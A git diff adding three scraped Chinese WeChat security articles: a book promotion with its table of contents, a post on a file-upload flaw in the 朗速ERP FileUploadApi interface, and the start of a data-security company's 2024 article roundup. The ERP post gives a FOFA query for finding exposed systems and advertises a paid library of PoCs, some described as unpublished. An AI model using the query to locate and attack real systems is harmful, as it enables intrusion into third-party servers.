+![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/yeJvia5dNx5ibK7Dv4GdXpIuKGmLtjmiaeQuz0vbaPubOpv3oWAehI3Pr5flA7KQSUWtKIyycZezdAxmic5rpy2tHw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**星球提供免费F**a**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ic3icibHW6nDoAAoX9Spv9mREyEWTD0kRZWwApI2LKZDlqDfFj0Hnbja85ppeKPty1oOKFD80G5iadWQ/640?wx_fmt=png&from=appmsg "") +**CNVD通用证书**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibLtno2E9f9Hrfy3OTwkibdYL67H7TpeCUn2vcrksmcLiaTic0aJYhTLmTrIa5iazMGRLDvf9nNibdsPxA/640?wx_fmt=png&from=appmsg "") +**一起愉快的刷分**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibLtno2E9f9Hrfy3OTwkibdYhIQWPUxibC3y9ib8BqibgCicNM6KFuG095GB0yFj3ASZ6qXvp84IZAMSdw/640?wx_fmt=png&from=appmsg "") +**欢迎加入“安云安全”EDU团队**![](https://mmbiz.qpic.cn/sz_mmbiz_png/yeJvia5dNx5ibLtno2E9f9Hrfy3OTwkibdYpQpW4JVxVHoJej6E06ODldaeYjRv0crOWzBlLYcgy9cElwwSk3Dl1A/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +**免责声明** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/4yJaCArQwpACMJuBxI11jPgvHCxQZFQxPrt5iaQRibgGl0aIzFo4hDCYcFuyViag6zhuqNEjjeasfMEAy1rkaOahw/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + + +![](https://mmbiz.qpic.cn/mmbiz_gif/HVNK6rZ71oofHnCicjcYq2y5pSeBUgibJg8K4djZgn6iaWb6NGmqxIhX2oPlRmGe6Yk0xBODwnibFF8XCjxhEV3K7w/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp "") + +文章所涉及内容，仅供安全研究与教学之用，由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。 + diff --git a/doc/【渗透书籍推荐】《Web漏洞分析与防范实战》丨文末参与抽奖免费赠书！！.md b/doc/【渗透书籍推荐】《Web漏洞分析与防范实战》丨文末参与抽奖免费赠书！！.md new file mode 100644 index 00000000..b5b0b418 --- /dev/null +++ b/doc/【渗透书籍推荐】《Web漏洞分析与防范实战》丨文末参与抽奖免费赠书！！.md @@ -0,0 +1,689 @@ +# 【渗透书籍推荐】《Web漏洞分析与防范实战》丨文末参与抽奖免费赠书！！ +新书速递→ 网络安全007 2025-01-03 00:01 + +文末扫码参与抽奖！ + +随着信息技术的快速发展，特别是互联网应用的普及和企业信息化程度的不断加深，网络安全问题已经成为影响国家安全、企业生存和个人隐私的重要因素。网络攻击手段日益多样化、工具利用日益便捷化，从传统的病毒、木马到高级持续威胁（APT）、0day攻击等，安全威胁无孔不入，给防守方带来了极大的挑战。 + +在这样的背景下，网络安全领域的专业人才需求急剧增加。然而，与网络安全重要性的提升相比，安全人才的培养显得滞后了不少。许多IT专业人员对网络安全缺乏系统的认识和深入的理解，无法有效应对复杂多变的安全威胁。此外，现有的网络安全资料和文献要么偏重理论，缺乏实战性；要么散见于网络各处，不成体系，难以为学习者提供全面的指导。 + +基于这样的现状， +《Web漏洞分析与防范实战：卷1》以知 +道创宇404实验室在实际研究工作中遇到的真实案例为基础，结合团队多年的网络安全研究和实践经验，系统地介绍了网络安全中常见的漏洞类型、攻击手段以及相应的防御策略。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CwicwFUdzg1Z2IPKvDsBqyxlLF4icB2Kd5rRGcSqTPOu271kAoxW1XfRxXgTvoRQbnichfY15elzvFygDaM8bQkxQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CwicwFUdzg1Z2IPKvDsBqyxlLF4icB2Kd5dWt61yQ7ddLOJLX4oibZKaUHg7ibXaUo8cb2xRypG5jic3sGcm2pNWASg/640?wx_fmt=png&from=appmsg "") + +**了解更多 ↑** + +读者对象 + + + +本书适合网络安全从业者阅读，包括： +- 安全研究人员 + +- 渗透测试人员 + +- IT专业人员 + +- 对网络安全感兴趣的人员 + +视频解读 + + + + +本书特色 + + + + + +本书的特色在于实战性和系统性。书中详细介绍了前端和后端的安全漏洞、文件读 + +取漏洞、渗透测试等内容，覆盖了网络安全的重要议题。每个章节都以实际案例作为切入点，分析案例中的漏洞成因、攻击过程和防御方法，以便读者直观地理解网络安全。 + +除了**实战案例** +的分析，本书还注重**工具和技术** +的介绍。在现代网络安全防御中，自动化工具的使用已经成为提高防御效率和效果的关键。因此，本书专门在第7章介绍了现代化防御研究工具体系，包括代码审计、供应链安全、防火墙、堡垒机、日志审计系统、终端安全、资产扫描、入侵检测系统、蜜罐系统和恶意软件沙箱等，不仅可以帮助读者了解各个安全防御方向的基本思想，还可以使读者在实际工作中快速应用这些工具和技术。 + +此外，本书在写作风格上力求通俗易懂。尽管内容涵盖了网络安全的多个深层次议题，但作者尽量用简洁明了的语言进行描述，避免过多的专业术语和复杂的技术细节。这样做的目的是确保**没有专业计算机背景的读者** +也能够顺利阅读和理解书中的内容。 + +总之，本书是**一本既适合初学者入门学习，也适合专业人士深入研究的网络安全实战指南** +。无论是对于希望建立扎实的网络安全基础的学生，还是对于追求进一步提升专业技能的从业人员，本书都提供了宝贵的知识和经验。通过阅读本书，读者不仅能够获得网络安全领域的专业知识，还能够学会如何应对实际工作中的安全挑战，从而在网络安全的道路上走得更远。 + +如何阅读本书 + + + +本书共7章，具体内容如下。 + +**第1章** +从前端安全的真实案例出发，介绍知道创宇404实验室的前端安全攻击和防御思路。 + + +**第2章** +介绍各种后端安全漏洞的真实案例，帮助读者了解不同类型漏洞的攻击方式。 + + +**第3章** +介绍各类客户端和服务器端中存在的文件读取漏洞。 + + +**第4章** +从渗透测试的多个方面介绍不同的攻击手段，以加深读者对渗透测试的理解。 + + +**第5章** +从Pocsuite 3的流量监控规则出发来介绍预防、检测和响应安全威胁的重要手段。 + + +**第6章** +通过模拟内网环境探讨漏洞和攻击手法，介绍如何采取适当的防护措施来应对威胁，以及如何利用防御工具（如Pocsuite 3和pfSense防火墙）来构建强大的网络安全防线。 + + +**第7章** +介绍防御研究工具体系中具有代表性的10个方向，以及各个方向的基本思路、防御效果和广泛使用的工具。 + + +目录 + + + +**上拉下滑查看目录 ↓** + +目　　录  Contents   + +前言 + +第一部分　实战 + +第1章　前端安全漏洞2 + +1.1　前端防御从入门到弃坑—CSP + +　 　的变迁2 + +1.1.1　前端防御的开始2 + +1.1.2　CSP3 + +1.1.3　CSP的绕过5 + +1.1.4　CSP困境以及升级8 + +1.1.5　防御建议11 + +1.2　从老漏洞到新漏洞—iMessage  + +　 　0day挖掘实录（CVE-2016-1843）11 + +1.2.1　背景11 + +1.2.2　CVE-2016-1764漏洞分析12 + +1.2.3　从老漏洞（CVE-2016-1764） + +　 　  到0day漏洞16 + +1.2.4　修复建议18 + +1.2.5　参考链接19 + +1.3　从CVE-2018-8495看PC端 + +　 　URL Scheme的安全问题19 + +1.3.1　概述19 + +1.3.2　创建URL Scheme20 + +1.3.3　安全隐患21 + +1.3.4　操作系统中的问题22 + +1.3.5　浏览器参数注入23 + +1.3.6　应用程序的问题26 + +1.3.7　防御建议27 + +1.3.8　参考链接27 + +1.4　iOS中的BadURLScheme28 + +1.4.1　概述28 + +1.4.2　漏洞详情28 + +1.4.3　实际案例29 + +1.4.4　漏洞披露29 + +1.4.5　防御建议30 + +1.4.6　参考链接30 + +1.5　从Drupal 1-click到RCE 分析30 + +1.5.1　无后缀文件写入30 + +1.5.2　Phar反序列化RCE33 + +1.5.3　漏洞触发要求35 + +1.5.4　漏洞补丁35 + +1.5.5　总结35 + +1.5.6　防御建议36 + +1.5.7　参考链接36 + +1.6　代码审计从0到1— + +     Centreon One-click To RCE36 + +1.6.1　概述37 + +1.6.2　Centreon代码基本结构37 + +1.6.3　代码分析38 + +1.6.4　过滤处理44 + +1.6.5　路径限制44 + +1.6.6　从One-click到RCE45 + +1.6.7　防御建议50 + +1.6.8　参考链接50 + +1.7　MyBB 18.20：从存储型XSS + +　 　漏洞到RCE漏洞分析50 + +1.7.1　漏洞触发要求50 + +1.7.2　漏洞分析51 + +1.7.3　漏洞复现59 + +1.7.4　补丁分析61 + +1.7.5　防御建议63 + +1.7.6　参考链接63 + +1.8　Chrome扩展安全问题63 + +1.8.1　Chrome插件体系63 + +1.8.2　CVE-2019-1259263 + +1.8.3　CSP问题68 + +1.8.4　防御建议73 + +1.8.5　参考链接73 + +第2章　后端安全漏洞74 + +2.1　从WordPress SQLi到PHP + +　 　格式化字符串问题74 + +2.1.1　漏洞概述74 + +2.1.2　漏洞分析74 + +2.1.3　漏洞原理77 + +2.1.4　PHP格式化字符串78 + +2.1.5　利用条件79 + +2.1.6　WordPress 4.8.2补丁问题 80 + +2.1.7　修复方案 81 + +2.1.8　参考链接81 + +2.2　Joomla 3.7.0 Core SQL注入漏洞 + +　 　（CVE-2017-8917）分析81 + +2.2.1　漏洞概述82 + +2.2.2　漏洞复现82 + +2.2.3　修复建议85 + +2.2.4　参考链接86 + +2.3　vBulletin MEDIA UPLOAD SSRF + +　 　漏洞（CVE-2016-6483）分析86 + +2.3.1　漏洞概述87 + +2.3.2　漏洞复现87 + +2.3.3　漏洞修复94 + +2.3.4　参考链接94 + +2.4　Discuz! x3.4前台SSRF分析94 + +2.4.1　漏洞概述94 + +2.4.2　漏洞复现94 + +2.4.3　任意URL跳转99 + +2.4.4　漏洞利用100 + +2.4.5　修复建议101 + +2.4.6　参考链接101 + +2.5　利用Exchange SSRF漏洞和  + +　 　NTLM中继沦陷获取域控101 + +2.5.1　漏洞概述101 + +2.5.2　漏洞复现101 + +2.5.3　漏洞利用104 + +2.5.4　修复建议107 + +2.5.5　参考链接108 + +2.6　Joomla未授权创建特权用户 + +　 　漏洞（CVE-2016-8869）分析108 + +2.6.1　漏洞概述108 + +2.6.2　漏洞复现109 + +2.6.3　修复建议113 + +2.6.4　参考链接114 + +2.7　Joomla权限提升漏洞（CVE- + +　 　2016-9838）分析114 + +2.7.1　漏洞概述114 + +2.7.2　漏洞复现115 + +2.7.3　修复方案123 + +2.7.4　参考链接123 + +2.8　DedeCMS v5.7密码修改漏洞 + +　 　分析124 + +2.8.1　漏洞概述124 + +2.8.2　漏洞复现125 + +2.8.3　代码分析129 + +2.8.4　修复方案133 + +2.8.5　参考链接134 + +2.9　ES文件浏览器安全漏洞 + +　　（CVE-2019-6447）分析134 + +2.9.1　漏洞概述134 + +2.9.2　漏洞复现135 + +2.9.3　漏洞分析 136 + +2.9.4　补丁分析139 + +2.9.5　总结141 + +2.9.6　参考链接142 + +第3章　文件读取漏洞143 + +3.1　MySQL客户端任意文件读取 + +　 　攻击链拓展143 + +3.1.1　Load data infile语法144 + +3.1.2　漏洞利用原理和流程分析145 + +3.1.3　PoC150 + +3.1.4　演示151 + +3.1.5　影响范围151 + +3.1.6　从文件读取到远程命令执行157 + +3.1.7　修复方式163 + +3.1.8　总结165 + +3.1.9　参考链接165 + +3.2　Confluence 文件读取漏洞 + +　　（CVE-2019-3394）分析165 + +3.2.1　背景165 + +3.2.2　漏洞影响166 + +3.2.3　补丁对比166 + +3.2.4　流程分析167 + +3.2.5　尝试利用173 + +3.2.6　修复方案175 + +3.2.7　参考链接175 + +3.3　WebSphere XXE漏洞（CVE- + +　 　2020-4643）分析175 + +3.3.1　概述175 + +3.3.2　补丁175 + +3.3.3　漏洞分析176 + +3.3.4　修复建议183 + +3.3.5　参考链接183 + +3.4　WebLogic CVE-2019-2647、 + +　 　CVE-2019-2648、CVE-2019- + +　 　2649、CVE-2019-2650 XXE + +　 　漏洞分析183 + +3.4.1　补丁分析183 + +3.4.2　分析环境184 + +3.4.3　WsrmServerPayloadContext + +　   　漏洞点分析184 + +3.4.4　UnknownMsgHeader漏洞点 + +　   　分析193 + +3.4.5　WrmSequenceContext 漏洞点 + +　 　  分析194 + +3.4.6　修复建议196 + +3.4.7　参考链接196 + +3.5　WebLogic EJBTaglibDescriptor  + +　 　XXE漏洞（CVE-2019-2888） + +　 　分析197 + +3.5.1　分析环境197 + +3.5.2　漏洞分析197 + +3.5.3　漏洞复现199 + +3.5.4　修复建议200 + +3.5.5　参考链接201 + +3.6　印象笔记Windows 6.15版本 + +　 　本地文件读取和远程命令执行 + +　 　漏洞（CVE-2018-18524）202 + +3.6.1　概述202 + +3.6.2　演示模式下的Node.js代码 + +　　　注入202 + +3.6.3　本地文件读取和远程命令 + +　　　执行的实现203 + +3.6.4　通过分享功能攻击其他用户205 + +3.6.5　修复建议206 + +3.6.6　参考链接206 + +第4章　渗透测试207 + +4.1　红队后渗透测试中的文件传输207 + +4.1.1　搭建HTTP服务器207 + +4.1.2　从HTTP服务器下载文件208 + +4.1.3　配置PUT服务器209 + +4.1.4　上传文件到HTTP PUT + +　　　服务器211 + +4.1.5　利用 Bash /dev/tcp 进行 + +　　　文件传输211 + +4.1.6　利用SMB协议进行文件 + +　　　传输212 + +4.1.7　利用 whois 命令进行文件 + +　　　传输212 + +4.1.8　利用 ping 命令进行文件传输213 + +4.1.9　利用 dig 命令进行文件传输213 + +4.1.10　利用 NetCat 进行文件传输214 + +4.1.11　参考链接216 + +4.2　协议层的攻击—HTTP请求 + +　　走私216 + +4.2.1　背景216 + +4.2.2　发展时间线217 + +4.2.3　产生原因 217 + +4.2.4　HTTP走私攻击实例— + +　  CVE-2018-8004223 + +4.2.5　其他攻击实例240 + +4.2.6　参考链接250 + +4.3　自动化静态代码审计工具250 + +4.3.1　自动化代码审计250 + +4.3.2　动态代码审计工具的特点 + +　　　与局限250 + +4.3.3　静态代码审计工具的发展252 + +4.3.4　参考链接259 + +4.4　反制Webdriver—从Bot向 + +　  　RCE 进发260 + +4.4.1　什么是Webdriver260 + +4.4.2　Chromedriver的攻击与利用261 + +4.4.3　参考链接270 + +4.5　卷入.NET Web271 + +4.5.1　调试271 + +4.5.2　如何找漏洞案例和审计函数281 + +4.5.3　参考链接282 + +4.6　攻击SAML 2.0282 + +4.6.1　SAML 2.0282 + +4.6.2　通过OpenSAML请求包看 + +　　　SAML SSO283 + +4.6.3　通过OpenSAML源码看 + +　　　SAML SSO细节294 + +4.6.4　参考链接305 + +4.7　Apache Axis 1与 Axis 2  + +　　WebService的漏洞利用305 + +4.7.1　Apache Axis 1306 + +4.7.2　Apache Axis 2332 + +4.7.3　参考链接338 + +第二部分　防御方法 + +第5章　防御规则342 + +5.1　什么是 Pocsuite 3342 + +5.2　什么是 Suricata343 + +5.3　Suricata 安装343 + +5.4　Suricata规则343 + +5.4.1　Action 344 + +5.4.2　Header 344 + +5.4.3　元关键字/补充信息346 + +5.4.4　Rule347 + +5.5　如何在PoC中编写流量规则351 + +5.5.1　示例一351 + +5.5.2　示例二353 + +5.5.3　示例三354 + +5.5.4　示例四356 + +5.6　参考链接357 + +第6章　防御演示环境与防御处置358 + +6.1　防御演示环境358 + +6.2　模拟攻击358 + +6.3　Pocsuite 3365 + +6.4　Suricata & pfSense365 + +6.5　pfSense 导入自定义Suricata + +　 　规则368 + +6.6　总结370 + +第7章　防御研究工具371 + +7.1　代码审计371 + +7.2　供应链安全373 + +7.3　防火墙375 + +7.4　堡垒机377 + +7.5　日志审计系统379 + +7.6　终端安全380 + +7.7　资产扫描382 + +7.8　入侵检测系统384 + +7.9　蜜罐系统385 + +7.10　恶意软件沙箱386 + + + +了解更多 + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CwicwFUdzg1Z2IPKvDsBqyxlLF4icB2Kd5DdYMjanPyK5HcDV3dssujq9rbvZRacHcB4M4c7nxNw7Cm5z6IXNRZA/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +抽奖步骤 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + + +1.转发：将该文章转发至 +朋友圈 +（不可设置分组）或 +群聊 +（100人以上）； + +2. +扫描二维码参与抽奖 +：抽奖结果将在活动结束后抽奖小程序推送通知，到时候可直接联系领奖。（领奖时需附上中奖截图+转发截图） + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDq1yNv813Qhtc598qAh11weLC8alVt5sn0CQvmWQqezS3sohAMcgypgibBpwPbYj9BPQ1q1iavdb5yg/640?wx_fmt=png&from=appmsg "") + + diff --git a/doc/【漏洞复现】朗速ERP后台管理系统FileUploadApi接口文件存在文件上传漏洞||附POC.md b/doc/【漏洞复现】朗速ERP后台管理系统FileUploadApi接口文件存在文件上传漏洞||附POC.md new file mode 100644 index 00000000..74e66d98 --- /dev/null +++ b/doc/【漏洞复现】朗速ERP后台管理系统FileUploadApi接口文件存在文件上传漏洞||附POC.md @@ -0,0 +1,193 @@ +# 【漏洞复现】朗速ERP后台管理系统FileUploadApi接口文件存在文件上传漏洞||附POC +FL_Clover 网络安全007 2025-01-03 00:01 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +漏洞介绍 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + + +     +在当今复杂多变的网络安全环境中，朗速ERP后台管理系统中的FileUploadApi接口文件存在文件上传漏洞，攻击者可利用该漏洞上传恶意文件，进而控制服务器或窃取企业敏感信息。为保障系统安全，请尽快对该接口进行修复，并加强文件上传功能的权限验证和文件类型检查，以防患于未然。同时，建议对现有系统进行全面的安全检查，确保企业信息安全不受威胁。 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDq1yNv813Qhtc598qAh11wesgxPn5RsWZXbE7daMb9ptClZEJMMVxXly6fu6vcRmbfkNCzA767Ctg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +漏洞复现 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + + +1.资源探测 +``` +fofa:body="/Resource/Scripts/Yw/Yw_Bootstrap.js" +``` + +2.漏洞复现 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDq1yNv813Qhtc598qAh11wePHMa4vYUahqiabdykQyYsW7Uvy7qLRXHsnmkAvWVQGoQZWYEb9puUXg/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +漏洞POC + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + +``` +已收录到圈子网盘！需要的自取！ +链接：https://wiki.freebuf.com/front/societyFront?society_id=291 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +最近1个月的漏洞复现文档 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + +``` +最近1个月的漏洞复现文档，有你需要的可以直接去圈子网盘下载： + WordPress插件ElementorPageBuilder存在文件读取漏洞(CVE-2024-9935).docx  + 锁群管理系统存在任意后台管理泄露漏洞.docx  + 九思OA系统upload_l文件存在任意文件上传漏洞.docx  + 用友GRP-U8系统taskmanager_login存在SQL注入漏洞.docx  + 博斯外贸管理软件V6.0中的logined文件接口存在SQL注入漏洞.docx  + 博斯外贸管理软件V6.0中的loginednew文件接口存在SQL注入漏洞.docx  + 灵当CRM系统接口uploadfile文件上传漏洞.docx  + 灵当CRM系统接口getMyAmbassador存在SQL注入漏洞.docx  + 时空WMS-仓储精细化管理系统SaveCrash文件上传漏洞.docx  + 时空WMS-仓储精细化管理系统 ImageAdd 接口存在文件上传漏洞.docx  + Zabbix存在SQL注入漏洞(CVE-2024-42327).docx  + WordPress插件Tutor_LMS存在SQL注入漏洞(CVE-2024-10400).docx  + WordPress插件FileUpload任意文件读取漏洞(CVE-2024-9047).docx  + WordPress插件rtw_pdf_file任意文件读取漏洞.docx  + 中科网威anysec安全网关arping存在后台远程命令执行漏洞.docx  + Yapi存在远程命令执行漏洞.docx  + 金和JC6协同管理平台oaplusrangedownloadfile存在文件下载漏洞.docx  + 北京友数CPAS审计管理系统V4 getCurserIfAllowLogin 接口存在SQL注入.docx  + 北京友数CPAS审计管理系统存在任意文件读取漏洞.docx  + 云连POS-ERP管理系统downloadFile存在任意文件读取漏洞.docx  + 云连POS-ERP管理系统ZksrService存在SQL注入漏洞.docx  + 协众OA系统接口checkLoginQrCode存在SQL注入漏洞.docx  + Cloudlog系统接口request_form存在SQL注入漏洞.docx  + 国威HB1910数字程控电话交换机generate文件未授权命令执行漏洞.docx  + JeecgBoot系统接口passwordChange任意用户密码重置漏洞.docx  + 泛微e-cology9系统接口FileDownloadLocation接口存在SQL注入漏洞.docx  + 泛微云桥e-Bridge系统checkMobile存在SQL注入漏洞.docx  + 泛微-云桥e-Bridge addTasteJsonp 接口存在SQL注入漏洞.docx  + TOTOLINK远程代码执行漏洞(CVE-2024-51228).docx  + 蓝凌EKP系统接口sysFormMainDataInsystemWebservice存在任意文件读取漏洞.docx  + 神州数码DCN系统接口online_list存在任意文件读取漏洞.docx  + 杜特网上订单管理系统getUserImage存在SQL注入漏洞.docx  + 秒优科技-供应链管理系统doAction存在SQL注入漏洞.docx  + 昂捷CRM系统cwsupload任意文件读取漏洞.txt  + 昂捷CRM系统cwsuploadpicture任意文件读取漏洞.docx  + 圣乔ERP系统 downloadFile.action 存在任意文件读取漏洞.docx  + 用友U8-Cloud系统接口ReleaseRepMngAction存在SQL注入漏洞.docx  + 飞鱼星路由器存在敏感信息泄露漏洞.docx  + 上海汉塔上网行为管理系统存在远程命令执行漏洞.docx  + Apache-Tomcat条件竞争致远程代码执行漏洞.docx  + 方正畅享全媒体新闻采编系统screen.do存在SQL注入漏洞.docx  + 方正畅享全媒体新闻采编系统reportCenter.do存在SQL注入漏洞.docx  + 蓝凌EKP系统接口thirdImSyncForKKWebService存在任意文件读取漏洞.docx  + 海康威视运行管理中心applyST远程代码执行漏洞.docx  + 大华DSS数字监控系统 attachment_downloadByUrlAtt.action接口存在任意文件读取漏洞.docx  + 顺景ERP系统FullGuidFileName任意文件读取漏洞.docx  + 用友NC系统接口yerfile_down存在SQL注入漏洞.docx  + 用友U8-CRM系统getDeptName存在SQL注入漏洞.docx  + 卓软计量业务管理平台image任意文件读取漏洞.docx  + SecFox运维安全管理与审计系统FastJson反序列化漏洞.zip + 勤云远程稿件处理系统存在SQL注入漏洞.docx + 赛诸葛数字化智能中台系统login存在SQL注入漏洞.docx + 用友GRP-U8系统taskmanager_login存在SQL注入漏洞.docx + 安科瑞环保用电监管云平台etEnterpriseInfoY存在SQL注入漏洞.docx +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +帮会介绍 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORY46W37hdIib0UibY4EBBNU8JF9KLZDzB64MiasA4iaWwuMdqtZn3HXpdsA/640?wx_fmt=png&from=appmsg "") + + +【帮会服务】 + +1.最新漏洞库（目前已1000+poc，定期更新，包含部分未公开漏洞） + +2.应急响应资料库（热门病毒应急响应手册，应急工具） + +3.安全书籍库（市面上热门安全书籍电子版） + +4.字典库（攻防实战字典合集，字典生成工具） + +5.安全制度库（100+篇安全管理制度汇编） + +6.攻防演练红蓝队实战经验库 + +7.工具库（攻防实战工具，日常渗透工具，免杀工具，代码审计工具等） + + + + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocORaBekPzGOIe691ZdUP4LsBz5Uic8LaTmaWG7icgNb0HfsstW77u8uLrCg/640?wx_fmt=png&from=appmsg "") + +加入方式 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDoWZJHVDZGt0B9f3ibajocOR11vNUnAVxK5mEnib7ZCOaKtwzk3S5jDX3ZUeLMTKibUm95GBoSQk3pEg/640?wx_fmt=png&from=appmsg "") + + + +  帮会刚建立，现在加入可享早鸟价： + +原价 +19.9月卡 + +现在 +29.9元享永久会员！ + +限时两周！！！ +限时两周！！！ + +随着资源的积累后续会直接涨价至 +99.9！ + +PC链接：https://wiki.freebuf.com/front/societyFront?society_id=291 + +微信扫码加入 + +![](https://mmbiz.qpic.cn/mmbiz_png/2txKvJB0ibDrP5Ku16BK5Bl1AmveJZicdUJnc3fD7iaubFnH9sJiaNCVDico4GmGUlibWGM7PabbhLlqzFPXZqrXpJLg/640?wx_fmt=other&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + + +

免责声明：

 本文章仅做网络安全技术研究使用！另利用网络安全007公众号所提供的所有信息进行违法犯罪或造成任何后果及损失，均由使用者自身承担负责，与网络安全007公众号无任何关系，也不为其负任何责任，请各位自重！公众号发表的一切文章如有侵权烦请私信联系告知，我们会立即删除并对您表达最诚挚的歉意！感谢您的理解！让我们一起为我国网络安全事业尽一份自己的绵薄之力！

+**●****推荐阅读●** + +**日常实战渗透小技巧，掌握就无需担心漏洞产出为零！** + +**红队如何在攻防演练中一夜暴富？** + +**全方位揭秘：50多种横向渗透提权终极技巧，一篇文章彻底掌握！** + +**未授权访问漏洞系列** + +**应急响应系列** +# 浅谈Nacos漏洞之超管权限后续利用 + +**记某APP服务端渗透测试实战GetShell** + +**实战|某网站未授权访问=》数据库权限=》服务器权限** + +**Nessus漏扫神器之攻防两用** + +**超级弱口令工具+超级字典，攻防必备！** + +写作不易，分享快乐 + +期待你的 **分享** +●**点赞●在看●关注●收藏** + diff --git a/doc/一家网安劳模企业的2024全年创作合辑.md b/doc/一家网安劳模企业的2024全年创作合辑.md new file mode 100644 index 00000000..fcc0eb7f --- /dev/null +++ b/doc/一家网安劳模企业的2024全年创作合辑.md @@ -0,0 +1,1086 @@ +# 一家网安劳模企业的2024全年创作合辑 +数据安全建设就找 炼石网络CipherGateway 2025-01-02 22:03 + +**岁聿云暮，一元复始。** +驻足回望，2024年的数据安全行业发展步入“提速期”。这一年，随着数字经济的蓬勃发展和人工智能技术的广泛应用，我国在数据安全合规领域迈向了新阶段。从《促进和规范数据跨境流动规定》的颁布，到《网络数据安全管理条例》的实施；从加强个人信息司法保护，到明确AI技术应用的安全边界与服务规范；从国家密码管理局公示155家合格密评机构，到密评密改在商用密码应用领域重要性日益显著，这一系列举措都在彰显我国数据安全与个人信息保护的法律框架与实践已经实现进一步完善与深化。 + + +**追则能达，持则可圆。** +与时代同行，炼石在密码与数据安全这片沃土上深耕细作，既是不懈追求产品技术创新的探索者，也是积极推动行业知识传播的先行者，见证并参与了行业的每一次跃迁。这一年，炼石以政策汇总为基，以法规解读为引，以观点升级为翼，输出了一系列原创文稿，为行业发展贡献炼石智慧。在此辞旧迎新之际， +**炼石精心梳理2024全年100余篇文章，作为对炼石读者鼎力支持、一路同行的感恩回馈。** +愿我们在新的一年里，继续携手同行，共促数据安全行业高质量发展，迈进更加美好的“数字未来”。 + +**关注炼石的本公众号（或从微信中搜索公众号：炼石网络CipherGateway）并后台回复关键词** 